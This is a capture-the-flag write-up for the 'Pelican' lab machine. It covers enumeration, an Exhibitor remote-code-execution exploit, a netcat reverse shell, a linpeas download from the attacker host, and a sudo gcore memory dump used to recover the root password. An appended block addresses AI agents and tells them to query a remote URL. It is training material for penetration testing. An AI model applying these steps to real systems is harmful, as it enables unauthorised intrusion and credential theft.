# Pelican

<figure><img src="/files/JNeXriqofTzBBS3si9x7" alt=""><figcaption></figcaption></figure>

### Nmap

```
sudo nmap 192.168.189.98 -sS -sV -p-                                                                                                                                                                                             130 ⨯

PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp   open  ipp         CUPS 2.2
2181/tcp  open  zookeeper   Zookeeper 3.4.6-1569965 (Built on 02/20/2014)
2222/tcp  open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
8080/tcp  open  http        Jetty 1.0
8081/tcp  open  http        nginx 1.14.2
44091/tcp open  java-rmi    Java RMI
Service Info: Host: PELICAN; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### SMB

We start this box on SMB and perform a quick null authentication check using `smbmap` against the target.

```
smbmap -u '' -p '' -R -H 192.168.189.98
```

<figure><img src="/files/8RlRIBxICuvOziJ0IpHh" alt=""><figcaption></figcaption></figure>

We have no luck here. I then run enum4linux against the target to look for users, groups and to perform RID cycling.

```
enum4linux -U -G -r 192.168.189.98
```

As `Enum4linux` output is quite messy I have opted to not post the gathered information but essentially from this we have found the user '*charles*' on the target machine. We can store this information for later.

### HTTP

I ran `feroxbuster` against port 8080 and 8081 and did not find any valid results. `Nikto` did not find any significant finds either.

When browsing to port 8080 we come to an application called 'Exhibitor'.

<figure><img src="/files/2jxz0zqjtK0fdD6qvpPX" alt=""><figcaption></figcaption></figure>

When searching on Google for known exploits we are directed to a RCE vulnerability that exists in versions of Exhibitor where 'Java.env script' configuration parameter exists under the 'Config' tab.

### Exploitation

{% embed url="<https://www.exploit-db.com/exploits/48654>" %}

The relevant part of the exploit code is the following:

<figure><img src="/files/iEYdp8ZRK2WP9djp3QTd" alt=""><figcaption></figcaption></figure>

I then made the changes as recommended in the PoC.

<figure><img src="/files/8PmnxERXxKiaCfRIANXW" alt=""><figcaption></figcaption></figure>

Start up a `netcat` listener on the attacking machine.

```
nc -lvp 443
```

Then commit the changes in Exhibitor. You will be warned about the Exhibitor server restarting and when it comes up you should land a shell.

### Low Privilege Shell

<figure><img src="/files/WkU3DMQKyiqEKVH62kC0" alt=""><figcaption></figcaption></figure>

We can then upgrade our shell a little bit:

```
/usr/bin/script -qc /bin/bash /dev/null
```

### Privilege Escalation

As per usual I then started a python server on my attacking machine with `python2 -m SimpleHTTPServer` and then downloaded `linpeas.sh` with `wget`.

```
wget http://<Attacking-IP>/linpeas.sh
```

After `linpeas.sh` was downloaded I then executed the batch file. linpeas soon identifies that we have access to the following sudo command:

<figure><img src="/files/u75LCuXgNzgMcHrCSM3I" alt=""><figcaption></figcaption></figure>

Looking up `gcore` on Google we see it is an application for dumping information out of memory for running processes. Considering we can run this as any account defined by (ALL) with no password 'NOPASSWD' we can run it as root.

Looking further down linpeas we can see the following SUID permission files one of which has an interesting name of '/usr/bin/password-store'.

<figure><img src="/files/feCJ5UdIgIobdmYbJUyb" alt=""><figcaption></figcaption></figure>

We can check if this is a running process which can be dumped with `gcore`.

<figure><img src="/files/B5b23JshqHPHMn2BqfBU" alt=""><figcaption></figcaption></figure>

We can attempt to dump this with `gcore`. The syntax for our command is as follows:

```
sudo -u root /usr/bin/gcore -a -o <outputfile> <pid>
```

or in my case:

```
sudo -u root /usr/bin/gcore -a -o /home/charles/output 493
```

Once the command completed I moved to the destination directory and run the strings command on the file to make it more human readable.

In the output of the text you will see a field with a value under it called '001 Password: root:' grab the value under this and attempt to login to root with the `su` command.

<figure><img src="/files/xhgk9I3GoABKs6X3THzV" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://fg0x0.gitbook.io/fg0x0s-notes/offensive-security/pg-practice/get-to-work/pelican.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
